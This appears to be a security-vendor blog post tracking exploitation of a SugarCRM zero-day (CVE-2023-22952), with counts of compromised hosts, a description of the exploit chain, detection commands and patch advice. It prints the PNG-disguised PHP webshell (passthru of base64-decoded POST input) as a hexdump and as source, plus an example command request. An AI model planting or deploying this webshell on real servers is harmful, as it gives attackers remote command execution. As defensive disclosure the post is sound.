Tracking a SugarCRM Zero-Day

Update January 17th, 2023: SugarCRM had a third-party forensics firm validate that there was no intrusion to their cloud-based products due to this vulnerability. More information on that can be found here.

Update January 11th, 2023: This issue is now being tracked as CVE-2023-22952 / Updated compromised tallies

Update January 10th, 2023: SugarCRM is aware of the issue, and we have updated our post and guidelines on fixing the vulnerability. Censys has not seen a significant increase in compromised instances but will continue to monitor the situation.

On December 30th, 2022, a user going by the name “sw33t.0day” posted an exploit (archive link) on the Full-Disclosure mailing list for a web-based content management system called SugarCRM;  This vulnerability is currently being tracked as CVE-2023-22952, and unfortunately, the exploit is currently being used to compromise hosts in the wild and install a php-based webshell.

On January 5th, 2023, Censys observed 3,066 instances of SugarCRM on the internet, with 291 unique hosts that were compromised. As of January 11th, 2023, we’ve found 3,059 instances of SugarCRM on the internet and 354 unique IP addresses containing the exploit’s installed webshell (a growth of 63 IP addresses).

• January 5th, 2023:  we’ve found 3,066 instances of SugarCRM on the internet; of those, 291 unique hosts have already been compromised.
• January 11th, 2023:  we’ve found 3,059 instances of SugarCRM on the internet; 354 unique hosts have been compromised.

A post on SugarCRM’s website details the vulnerability and an FAQ describing the steps required to secure the service.

The exploit seems to be an authentication bypass against “/index.php” on the installed service. After the authentication bypass is successful, a cookie is obtained from the service, and a secondary POST request is sent to the path “/cache/images/sweet.phar” which uploads a tiny PNG-encoded file containing PHP code that will be executed by the server when another request for the file is made. The injected binary in question, when decoded, looks like the following using “hexdump”:

00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 00 19 00 00 00 14  08 03 00 00 00 4f a9 66  |.............O.f|
00000020  8f 00 00 00 4b 50 4c 54  45 3c 3f 70 68 70 20 65  |....KPLTE<?php e|
00000030  63 68 6f 20 22 23 23 23  23 23 22 3b 20 70 61 73  |cho "#####"; pas|
00000040  73 74 68 72 75 28 62 61  73 65 36 34 5f 64 65 63  |sthru(base64_dec|
00000050  6f 64 65 28 24 5f 50 4f  53 54 5b 22 63 22 5d 29  |ode($_POST["c"])|
00000060  29 3b 20 65 63 68 6f 20  22 23 23 23 23 23 22 3b  |); echo "#####";|
00000070  20 3f 3e 20 f6 18 78 37  00 00 00 09 70 48 59 73  | ?> ..x7....pHYs|
00000080  00 00 0e c4 00 00 0e c4  01 95 2b 0e 1b 00 00 00  |..........+.....|
00000090  2a 49 44 41 54 28 91 63  60 c0 0d 18 99 98 59 58  |*IDAT(.c`.....YX|
000000a0  d9 d8 39 38 b9 b8 79 78  f9 f8 05 04 85 84 45 44  |..98..yx......ED|
000000b0  c5 c4 25 f0 68 19 05 43  14 00 00 30 be 01 2d 4c  |..%.h..C...0..-L|
000000c0  1e 5a 12 00 00 00 00 49  45 4e 44 ae 42 60 82     |.Z.....IEND.B`.|

Which roughly translates to the following PHP:

<?php 
  echo “#####”; 
  passthru(base64_decode($_POST[“c”])); 
  echo “#####”; 
?>

This is a simple web shell that will execute commands based on the base64-encoded query argument value of “c” (e.g., ‘POST /cache/images/sweet.phar?c=”L2Jpbi9pZA==” HTTP/1.1’, which will execute the command “/bin/id” with the same permissions as the user-id running the web service).

Indicators of Compromise

A decent way to determine if your installation of SugarCRM has been compromised is to issue the following command where “$INSTALLDIR” is the root directory of the SugarCRM install:

~$ strings $INSTALLDIR/cache/images/* | grep -i PHP

The host has most likely been compromised if any output is seen. Since the written filename containing the web shell can be changed arbitrarily, looking for PHP strings in all files within that directory is the best identification method.

Since this exploit can easily be weaponized, scanned for, and automated, Censys will continue to track this vulnerability.

Administrators should also monitor HTTP request logs destined to the “/cache/images/” directory and pay attention to the response code returned by the web server.

• If a 404 status code is seen, the file is not found, and malicious code was not executed.
• If a 403 status code is seen, the access is denied by the web server, and the code is not executed. This will be the status code seen when the service has been patched.

What can be done?

In summary, SugarCRM is aware of this issue, has notified customers, and deployed a fix for their cloud-hosted SugarCRM service. Customers running a supported SugarCRM version outside the hosted cloud product have been asked to download and apply the hotfix relevant to their SugarCRM instance. Customers running an end-of-life product version are encouraged to upgrade to the latest software version as soon as possible.

SugarCRM has posted an update to their website detailing this vulnerability.